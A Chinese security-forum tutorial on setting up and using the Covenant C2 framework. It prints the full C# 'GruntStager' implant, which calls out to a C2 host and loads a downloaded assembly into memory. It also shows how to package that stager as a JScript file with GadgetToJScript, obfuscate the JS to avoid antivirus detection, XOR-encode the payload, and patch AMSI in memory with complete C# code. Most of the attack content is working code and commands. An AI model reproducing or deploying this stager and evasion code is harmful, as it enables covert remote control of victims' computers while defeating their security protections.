开源C2:Covenant学习

分享者才是学习中最大的受益者!

Covenant

前言

C2技术在红蓝对抗种,重要性不言而喻,现在师傅们热衷于CobaltStrike,它确实是一个不错的C2。

但是因为一些付费等等方面的原因,使用起来也不是很方便。

今天学习一下Covenant,一款源码级别的 Csharp C2,向师傅们致敬!

抱着学习的态度 写的就啰嗦了一点,望师傅们见谅!

优点

1.它是基于Windows系统,开发语言是Csharp,属于微软的东西

2.DotNet版本要求 > 3.5,使用Windows .NET的好处是:它支持静默安装

命令

dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackageFullX64Bootstrapper

/q静默安装

/norestart 不要重启

3.可扩展性特别强,因为它本身提供了很多API接口 和 自定义功能

安装

Covenant它也分本地安装和docker安装(推荐后者)

具体可以看这里:https://github.com/cobbr/Covenant/wiki/Installation-And-Startup

以docker安装作为演示

注:需要科学上网

sudo apt install proxychains4
sudo apt install vim
sudo vim /etc/proxychains4.conf

proxychains git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
sudo docker build -t covenant .

image-20211116143606279

启动

sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant

-it参数:Docker参数,在交互式tty中开始Covenant,如果不想附加到tty,可以将其排除

-p参数:将端口公开到Covenant Docker容器。这个是必须将公开端口7443和要启动侦听器的任何其他端口。

-v参数:在主机和容器之间创建一个共享的数据目录
要指定数据目录的绝对路径,不能使用相对路径
注:一定要把Covenant映射到Docker镜像里面对应的目录,如果没有的话,就跑不起来,因为所有的功能模块都在Data目录里面

注:移除所有Covenant数据并进行初始化恢复

执行命令:

docker rm covenant docker run -it -p 7443:7443 -p 80:80 -p 443:443 --namecovenant -v :/app/Data covenant--username AdminUser --computername 0.0.0.0

image-20211116144504740

报错 80端口被占用

image-20211116152808788

sudo netstat -nultp

sudo service apache2 stop
#关闭Apache2服务

image-20211116152843034

重新启动一下

这次指定一下本地的 IP

sudo docker run -d -p 127.0.0.1:7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant

image-20211116154050851

sudo docker ps -l

image-20211116154111984

docker命令小合集

docker images      列出所有镜像
docker rmi -f id   删除镜像id

docker ps          列出所有容器
docker ps -a       查看曾经运行的容器
docker rm -f id    删除容器

访问

https://127.0.0.1:7443

刚开始 会让我们 注册一个用户

image-20211116154419034

成功登录

image-20211116154605379

实操使用

Listeners

创建监听

image-20211116154638067

image-20211116155132074

image-20211116155227117

注:这里HttpProfile 我选择的是:DefaultHttpProfile

创建完成

image-20211116172121285

默认的HttpProfile

可以看到有四个

image-20211116155359092

可以打开新页(open Link in new Tab)去看一下

DefaultHttpProfile

image-20211116155958543

image-20211116160228862

image-20211116160650459

image-20211116160831693

image-20211116160923536

CustomHttpProfile

image-20211116161132509

下面基本是一样的

TCPBridgeProfile

具体写法可以参考这里:https://github.com/cobbr/C2Bridge

相当于一个模板

image-20211116201203590

image-20211116201228257

Launchers

image-20211116171330129

注:这10个生成方式 现在都是被杀软拦截的

以Binary为例

image-20211116171603383

image-20211116171754263

image-20211116171907191

image-20211116172623966

Templates

image-20211116173001083

上线测试

注:本地测试学习 杀软就关掉了

Grunts

image-20211116172859334

上线之后呢

会有一个提示

image-20211116191256608

image-20211116191415887

点一下 Name 即可进入交互界面

image-20211116191533576

下面这些 都是可以修改的

image-20211116191605612

image-20211116191703103

image-20211116192418284

image-20211116191807909

默认有很多默认的 可以执行的任务

image-20211116191848773

image-20211116192453186

Tasks

image-20211116192908958

image-20211116192932611

image-20211116193020620

image-20211116193139007

image-20211116193216188

image-20211116193259524

Taskings

历史执行过的命令

image-20211116193505600

Graph

image-20211116193551833

Data

实际获取到的内容

image-20211116193718881

image-20211116193918449

image-20211116194034104

image-20211116194056475

Users

image-20211116192710648

https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html

这里是会弹一个MessageBox提示窗口

image-20211116231735243

image-20211116232230639

image-20211116232752194

1:判断传入的dllstring不为空

2:一个循环 将传入的dll按`,`分隔

3:循环添加refdll

image-20211116234124628

image-20211116233150225

image-20211116233331348

继续

image-20211116233827330

image-20211116234308557

重新生成解决方案

继续

把Covenant的Binary Launcher的Code源码 扒过来

image-20211117170624875

这里贴一下 方便一些

using System;
using System.Net;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO.Pipes;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;

namespace GruntStager
{
    public class GruntStager
    {
        public GruntStager()
        {
            ExecuteStager();
        }
        [STAThread]
        public static void Main(string[] args)
        {
            new GruntStager();
        }
        public static void Execute()
        {
            new GruntStager();
        }
        public void ExecuteStager()
        {
            try
            {
                List<string> CovenantURIs = @"http://192.168.175.209:80".Split(',').ToList();
                string CovenantCertHash = @"";
                List<string> ProfileHttpHeaderNames = @"VXNlci1BZ2VudA==,Q29va2ll".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List<string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List<string> ProfileHttpUrls = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string ProfileHttpPostRequest = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
                string ProfileHttpPostResponse = @"<html>
    <head>
        <title>Hello World!</title>
    </head>
    <body>
        <p>Hello World!</p>
        // Hello World! {0}
    </body>
</html>".Replace(Environment.NewLine, "\n");
                bool ValidateCert = bool.Parse(@"false");
                bool UseCertPinning = bool.Parse(@"false");

                Random random = new Random();
                string aGUID = @"518387fa18";
                string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"rrONV/NTSPl4sU0FVzoK1TxidURN/ORaK0Yh6sMzG24=");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                {
                    bool valid = true;
                    if (UseCertPinning && CovenantCertHash != "")
                    {
                        valid = cert.GetCertHashString() == CovenantCertHash;
                    }
                    if (valid && ValidateCert)
                    {
                        valid = errors == System.Net.Security.SslPolicyErrors.None;
                    }
                    return valid;
                };
                string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                CookieWebClient wc = null;
                string Stage0Response = "";
                wc = new CookieWebClient();
                wc.UseDefaultCredentials = true;
                wc.Proxy = WebRequest.DefaultWebProxy;
                wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                string CovenantURI = "";
                foreach (string uri in CovenantURIs)
                {
                    try
                    {
                        for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                        {
                            if (ProfileHttpHeaderNames[i] == "Cookie")
                            {
                                wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
                            }
                            else
                            {
                                wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
                            }
                        }
                        wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
                        CovenantURI = uri;
                    }
                    catch
                    {
                        continue;
                    }
                }
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List<string> parsed = Parse(extracted, MessageFormat);
                string iv64str = parsed[3];
                string message64str = parsed[4];
                string hash64str = parsed[5];
                byte[] messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1 = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed = Parse(extracted, MessageFormat);
                iv64str = parsed[3];
                message64str = parsed[4];
                hash64str = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test = new byte[4];
                byte[] challenge2 = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed = Parse(extracted, MessageFormat);
                iv64str = parsed[3];
                message64str = parsed[4];
                hash64str = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }

        public class CookieWebClient : WebClient
        {
            public CookieContainer CookieContainer { get; private set; }
            public CookieWebClient()
            {
                this.CookieContainer = new CookieContainer();
            }
            public void SetCookies(Uri uri, string cookies)
            {
                this.CookieContainer.SetCookies(uri, cookies);
            }
            protected override WebRequest GetWebRequest(Uri address)
            {
                var request = base.GetWebRequest(address) as HttpWebRequest;
                if (request == null) return base.GetWebRequest(address);
                request.CookieContainer = CookieContainer;
                return request;
            }
        }

        public static List<string> Parse(string data, string format)
        {
            format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
            if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
            if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
            if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
            if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
            if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
            if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
            Match match = new Regex(format).Match(data);
            List<string> matches = new List<string>();
            if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
            if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
            if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
            if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
            if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
            if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
            return matches;
        }

        public static class MessageTransform
{
    public static string Transform(byte[] bytes)
    {
        return System.Convert.ToBase64String(bytes);
    }
    public static byte[] Invert(string str) {
        return System.Convert.FromBase64String(str);
    }
}

    }
}

注:这里可以把路径简写 看着方便点

prompt study
cd 查看目录

打开vs studio开发者模式

image-20211117170511975

image-20211116235559754

切换目录

编译cs文件

csc /t:exe Grunt.cs

image-20211117180733672

执行一下

image-20211117180858385

上线了

image-20211117180934799

GadgetToJScript

前言

GadgetToJScript是一个Csharp的项目:https://github.com/med0x2e/GadgetToJScript

Covenant是一个.NET开发的C2(Command and Control)框架,旨在突出.NET的攻击面,并充当红队成员的协作命令和控制平台

使用.NET Core的开发环境,不仅支持Linux,MacOS和Windows,还支持docker容器

Covenant是支持动态编译,能够将输入的C#代码上传至C2 Server,获得编译后的文件并使用Assembly.Load()从内存进行加载

GadgetToJscript用于生成.NET序列化的工具,当使用基于JS/VBS/VBA脚本中的BinaryFormatter反序列化时,该工具可以触发.NET程序集加载/执行,同时相比James Forshaw的DotNetToJScript添加了绕过.Net 4.8+阻止Assembly.Load的功能。

两者结合学习

实操

下载的GadhetToJscript项目用Vistual Studio 2019打开

GadgetToJscript的编译过程属于动态编译,里面涉及到很多DLL的引用

定位到TestAssemblelyLoader.cs文件

编译生成GadgetToJScript.exe

由于grunt.cs代码中有两个命名空间不被包含在System.dll里

1、System.Linq;

2、System.IO.Pipes;

它们在System.Core.dll里,所以调用的时候我们需要手动添加System.Core.dll,在命令行输入:

GadgetToJScript.exe -w js -f Grunt.cs -d System.Core.dll -o matrix

-w 是输出文件的格式
-d 是需要添加的dll,如果有多个可以用逗号隔开
-f 是我们引入的csharp文件,这里我们选择刚才的 grunt.cs 测试
-o 是输出的文件名
然后我们会得到名为matrix.js的文件,打开matrix.js文件。

image-20211119221843448

分析一下这个js文件

stage_1:为了绕过Win10中对Assembly.load的限制
stage_2:加载的核心程序集

image-20211119221910019

测试js文件,运行

cscript matrix.js

JS文件的混淆免杀Tips

杀软一般标记的是变量名、字符串

1.针对字符串,可以把双引号和单引号去掉

比如

原先
("aaa")

转换成
(/aaa/.source)

2.针对一些转义问题

原先 双引号中的\\就要替换成\

举例

原先的路径
("D:\\7-Zip\\1\\")

转换成
(/D:\7-Zip\1/.source + '\\')

image-20211119222704258

内存修补Bypass AMSI

主要思路是通过找到内存中AmsiScanBuffer函数的位置,然后通过patch,让AmsiScanBuffer这个函数不再继续运行,直接在函数的开始让它返回一个0

后来微软进行了一次更新对.NET程序集AmsiScanBuffer的扫描结果必须返回一个有效值

0xb8, 0x57, 0x00, 0x07, 0x80,同时要加上0xC3(0xC3是return)

PatchAmsi.cs代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;

namespace AMSI
{
  public class Program
    {

        [DllImport("kernel32")]
        private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        private static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        static void Main(string[] args)
        {
            new Program();
        }

        public Program()
        {
            Patch();
        }

        public static void Patch()
        {
            // Console.WriteLine("-- AMSI Patching");
            //Console.WriteLine("-- Paul (@am0nsec)\n");

            // Get the DllCanUnload function address
            IntPtr hModule = LoadLibrary("amsi.dll");
            //Console.WriteLine("[+] AMSI DLL handle: " + hModule);

            IntPtr dllCanUnloadNowAddress = GetProcAddress(hModule, "DllCanUnloadNow");//AmsiScanBuffer
            //Console.WriteLine("[+] DllCanUnloadNow address: " + dllCanUnloadNowAddress);

            // Dynamically get the address of the function to patch
            byte[] egg = { };
            if (IntPtr.Size == 8)
            {
                egg = new byte[] {
                    0x4C, 0x8B, 0xDC,       // mov     r11,rsp
                    0x49, 0x89, 0x5B, 0x08, // mov     qword ptr [r11+8],rbx
                    0x49, 0x89, 0x6B, 0x10, // mov     qword ptr [r11+10h],rbp
                    0x49, 0x89, 0x73, 0x18, // mov     qword ptr [r11+18h],rsi
                    0x57,                   // push    rdi
                    0x41, 0x56,             // push    r14
                    0x41, 0x57,             // push    r15
                    0x48, 0x83, 0xEC, 0x70  // sub     rsp,70h
                };
            }
            else
            {
                egg = new byte[] {
                    0x8B, 0xFF,             // mov     edi,edi
                    0x55,                   // push    ebp
                    0x8B, 0xEC,             // mov     ebp,esp
                    0x83, 0xEC, 0x18,       // sub     esp,18h
                    0x53,                   // push    ebx
                    0x56                    // push    esi
                };
            }
            IntPtr address = FindAddress(dllCanUnloadNowAddress, egg);
            // Console.WriteLine("[+] Targeted address: " + address);

            // Change the memory protection of the memory region 
            // PAGE_READWRITE = 0x04
            uint oldProtectionBuffer = 0;
            VirtualProtect(address, (UIntPtr)2, 4, out oldProtectionBuffer);

            // Patch the function
            byte[] patch = { 0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            Marshal.Copy(patch, 0, address, 6);

            // Reinitialise the memory protection of the memory region
            uint a = 0;
            VirtualProtect(address, (UIntPtr)2, oldProtectionBuffer, out a);
        }

        private static IntPtr FindAddress(IntPtr address, byte[] egg)
        {
            while (true)
            {
                int count = 0;

                while (true)
                {
                    address = IntPtr.Add(address, 1);
                    if (Marshal.ReadByte(address) == (byte)egg.GetValue(count))
                    {
                        count++;
                        if (count == egg.Length)
                            return IntPtr.Subtract(address, egg.Length - 1);
                    }
                    else
                    {
                        break;
                    }
                }
            }
        }
    }
}

注:第一:代码中不能直接出现AmsiScanBuffer的字符串,否则会被amsi识别,所以替换成DllCanUnloadNow

用egg hunt的方式,以DllCanUnloadNow的函数地址为基址寻找AmsiScanBuffer函数的地址,再patch

第二:因为微软的更新,使得对.net Assembly.load的程序集扫描结果必须返回一个有效值,所以替换为0xb8,0x57,0x00,0x07,0x80后再加上return 0xC3

编译一下

image-20211119232115873

执行一下

image-20211119232136876

上WinDbg调试看看是否成功 Bypass Amsi

File-Attach

image-20211119232218285

定位到amsi 查看Patch是否成功

两者结合

以Grunt.exe作为例子

1.把exe读取到一个数组中

[byte[]]$rawbytes = [System.IO.File]::ReadAllBytes("C:\Users\12550\Desktop\知识\项目学习\GadgetToJScript\GadgetToJScript-1.0\GadgetToJScript\bin\x64\Release\Grunt.exe")

2.查看exe的字符串大小

$rawbytes.length

image-20211119230129292

3.简单异或0x77

for ($i = 0; $i -lt $rawbytes.Length; $i++){$rawbytes[$i] = $rawbytes[$i] -bxor 0x77}

image-20211119230229026

4.base64编码一哈 并复制到剪切板

[System.Convert]::ToBase64String($rawbytes) | clip

image-20211119230303563

放到PatchAmsi.cs文件中

image-20211119224900660

注意这里的Patch();

image-20211119230531276

image-20211119230839529

编译测试成功后命令行运行:

GadgetToJScript.exe -w js -d System.Core.dll -f PatchASB.cs -o PatchASB

测试js文件,运行

cscript matrix.js

ok! 就到这里

总结

Covenant是一个.NET命令和控制框架,二次开发的可扩展性不比其他的C2差

分享者才是学习中最大的受益者!

希望可以帮到各位师傅

  • 发表于 2021-11-29 09:44:05
  • 阅读 ( 7582 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
略略略
略略略

36 篇文章

站长统计